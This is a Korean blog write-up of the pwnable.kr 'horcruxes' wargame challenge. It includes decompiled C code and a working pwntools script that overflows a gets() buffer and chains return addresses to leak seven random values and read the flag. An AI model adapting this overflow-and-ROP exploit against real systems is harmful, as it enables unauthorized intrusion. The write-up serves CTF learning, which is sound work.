tmxklab

[pwnable.kr] horcruxes 본문

War Game/pwnable.kr

[pwnable.kr] horcruxes

tmxk4221 2020. 12. 2. 15:48

1. 문제 확인

 

파일 확인

horcruxes@pwnable:~ ls -l
total 20
-rwxr-xr-x 1 root root 12424 Aug  8  2018 horcruxes
-rw-r--r-- 1 root root   131 Aug  8  2018 readme
horcruxes@pwnable:~$ cat readme 
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.

horcruxes파일 하나 주어지며 nc로 붙어서 9032 포트로 접속 가능하다고 한다. 추가로 rop를 이용해서 flag값을 읽으라고 한다.

 

일단 ftp로 horcruxes파일을 가져와보자

 

 

1) mitigation 확인

 

2) 문제 확인

(참고로 로컬에서 하면 libseccomp라이브러리가 없어서 실행안된다고 함)

메뉴를 선택하고 얼만큼의 경험치??를 얻을거냐고 묻고 입력을 받을 수 있다.

 

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 0x7FFF0000, 173, 0);
  seccomp_rule_add(v3, 0x7FFF0000, 5, 0);
  seccomp_rule_add(v3, 0x7FFF0000, 3, 0);
  seccomp_rule_add(v3, 0x7FFF0000, 4, 0);
  seccomp_rule_add(v3, 0x7FFF0000, 252, 0);
  seccomp_load(v3);
  return ropme();
}

오우오우 seccomp룰을 지정하고 ropme()를 실행한다.

 

3-2) hint()

int hint()
{
  puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
  return puts("Find all horcruxes, and destroy it!\n");
}

볼드모트가 7개의 호크룩스 안에 쪼개진 영혼을 숨겼으니 모두 파괴하라고 한다.

 

3-3) init_ABCDEFG()

unsigned int init_ABCDEFG()
{
  int rand_val; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = 0xDEADBEEF * rand() % 0xCAFEBABE;
  b = 0xDEADBEEF * rand() % 0xCAFEBABE;
  c = 0xDEADBEEF * rand() % 0xCAFEBABE;
  d = 0xDEADBEEF * rand() % 0xCAFEBABE;
  e = 0xDEADBEEF * rand() % 0xCAFEBABE;
  f = 0xDEADBEEF * rand() % 0xCAFEBABE;
  rand_val = rand();
  g = 0xDEADBEEF * rand_val % 0xCAFEBABE;
  result = g + f + e + d + c + b + a;
  sum = result;
  return result;
}

랜덤 값을 생성하는 것 같다. 여기서 각 a,b, ... ,f는 전역변수이다. 마지막으로 각 a ~ g에 저장된 랜덤 값들을 sum(전역변수)에 저장한다.

 

3-4) ropme()

int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int input; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &input);
  getchar();
  if ( input == a )
  {
    A();
  }
  else if ( input == b )
  {
    B();
  }
  else if ( input == c )
  {
    C();
  }
  else if ( input == d )
  {
    D();
  }
  else if ( input == e )
  {
    E();
  }
  else if ( input == f )
  {
    F();
  }
  else if ( input == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

input값이 각 a,b, .. ,g에 따라 A(), B(), ... G()를 실행한다. 그리고 호출되는 함수들은 각 a,b, ... ,g의 값을 출력하고 종료된다. 만약 모두 틀려 else문을 실행할 경우 gets로 s에 입력 값을 받고 atoi(s)가 sum과 동일하면 s에 flag값을 저장하고 출력한다.


2. 접근 방법

 

최종적으로 우리가 원하는 것은 ropme()의 else문에서 입력 값 s와 sum이 동일하면 flag값을 얻을 수 있다. 하지만 sum은 init_ABCDEFG()에서 각 a ~ g알파벳의 난수를 더한 값이다.

따라서, 우리는 a ~ g의 모든 값을 알아내면 sum값을 알아낼 수 있다.

 

ropme()의 else문에서 gets로 입력을 받으니 bof가 발생한다. 이 부분을 이용해서 rop를 사용하면 A() ~ G()까지 모두 호출하여 a ~ g의 랜덤 값을 알아내어 모두 더하면 sum값을 구할 수 있을 것이다.

 


3. 문제 풀이

 

각 A ~ G()를 호출할 때 인자로 넘겨주는 것은 없기 떄문에 인자를 세팅해주는 가젯은 필요없으니

걍 ret부터 A ~ G()까지 차례대로 넣어주면 된다.

 

1) 익스코드

from pwn import *

context.log_level = "debug"

p = remote("pwnable.kr", 9032)
e = ELF("./horcruxes")

p.sendlineafter("Select Menu:", str(10))

payload = "A"*120
payload += p32(e.symbols['A'])
payload += p32(e.symbols['B'])
payload += p32(e.symbols['C'])
payload += p32(e.symbols['D'])
payload += p32(e.symbols['E'])
payload += p32(e.symbols['F'])
payload += p32(e.symbols['G'])
payload += p32(e.symbols['main']+216)

p.sendlineafter("earned? : ", payload)

sum_data = 0

for i in range(7):
    p.recvuntil("(EXP +")
    sum_data += int(p.recvuntil(")")[:-1])

log.info("sum = "+str(sum_data))

p.sendlineafter("Select Menu:", str(10))
p.sendlineafter("earned? : ", str(sum_data))

p.interactive()

 

2) 실행결과


4. 몰랐던 개념

 

'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] md5 calculator  (0) 2021.01.15
[pwnable.kr] brain fuck  (0) 2021.01.14
[pwnable.kr] blukat  (0) 2020.12.02
[pwnable.kr] unlink  (0) 2020.12.02
[pwnable.kr] asm  (0) 2020.12.02
Comments